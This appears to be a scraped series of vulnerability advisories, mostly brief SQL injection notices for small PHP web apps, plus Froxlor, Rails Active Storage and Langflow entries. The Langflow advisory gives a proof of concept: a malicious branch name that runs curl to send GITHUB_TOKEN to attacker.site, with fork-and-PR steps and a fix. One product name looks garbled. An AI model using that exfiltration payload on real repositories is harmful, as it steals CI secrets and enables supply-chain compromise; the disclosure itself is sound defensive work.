Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

A vulnerability has been found in itsourcecode College Management System 1.0. The impacted element is an unknown function of the file /admin/add-single-student-results.php of the component Parameter Handler. The manipulation of the argument course_code leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.Show less

A flaw has been found in SourceCodester Sales and Inventory System 1.0. The affected element is an unknown function of the file update_purchase.php of the component HTTP GET Parameter Handler. Executing a manipulation of the argument sid can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used.Show less

A vulnerability was detected in SourceCodester Sales and Inventory System 1.0. Impacted is an unknown function of the file update_out_standing.php of the component HTTP GET Parameter Handler. Performing a manipulation of the argument sid results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.Show less

A security vulnerability has been detected in SourceCodester Sales and Inventory System 1.0. This issue affects some unknown processing of the file update_customer_details.php of the component HTTP GET Parameter Handler. Such manipulation of the argument sid leads to sql injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.Show less

A weakness has been identified in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file update_category.php of the component HTTP GET Parameter Handler. This manipulation of the argument sid causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.Show less

A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file view_supplier.php of the component POST Parameter Handler. The manipulation of the argument searchtxt results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.Show less

Froxlor is open source server administration software. Prior to version 2.3.5, the DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs. This issue has been patched in version 2.3.5.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`Show less

A weakness has been identified in itsourcecode Online Enrollment System 1.0. This vulnerability affects unknown code of the file /sms/user/index.php?view=add of the component Parameter Handler. Executing a manipulation of the argument Name can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.Show less

A flaw has been found in SourceCodester Online Admission System 1.0. This affects an unknown function of the file /programmes.php. Executing a manipulation of the argument program can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.Show less

A vulnerability was detected in SourceCodester Online Library Management System 1.0. The impacted element is an unknown function of the file /home.php of the component Parameter Handler. Performing a manipulation of the argument searchField results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used.Show less

A vulnerability was identified in SourceCodester Online Catering Reservation 1.0. Impacted is an unknown function of the file /search.php. Such manipulation of the argument rcode leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.Show less

A vulnerability was determined in itsourcecode sanitize or validate this input 1.0. This issue affects some unknown processing of the file /admin/subjects.php of the component Parameter Handler. This manipulation of the argument subject_code causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.Show less

A vulnerability was found in SourceCodester E-Commerce Site 1.0. This vulnerability affects unknown code of the file /products.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.Show less

Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.Show less

A vulnerability has been found in itsourcecode Free Hotel Reservation System 1.0. This affects an unknown part of the file /hotel/admin/mod_users/index.php?view=edit&id=8 of the component Parameter Handler. The manipulation of the argument account_id leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.Show less

A security flaw has been discovered in 648540858 wvp-GB28181-pro up to 2.7.4. Impacted is the function selectAll of the file src/main/java/com/genersoft/iot/vmp/streamProxy/dao/provider/StreamProxyProvider.java of the component Stream Proxy Query Handler. The manipulation results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.Show less

A weakness has been identified in code-projects Simple Laundry System 1.0. Affected is an unknown function of the file /checklogin.php of the component Parameters Handler. This manipulation of the argument Username causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.Show less

A security flaw has been discovered in code-projects Simple Laundry System 1.0. This impacts an unknown function of the file /checkupdatestatus.php of the component Parameters Handler. The manipulation of the argument serviceId results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.Show less

A vulnerability was identified in code-projects Simple Laundry System 1.0. This affects an unknown function of the file /viewdetail.php of the component Parameters Handler. The manipulation of the argument serviceId leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.Show less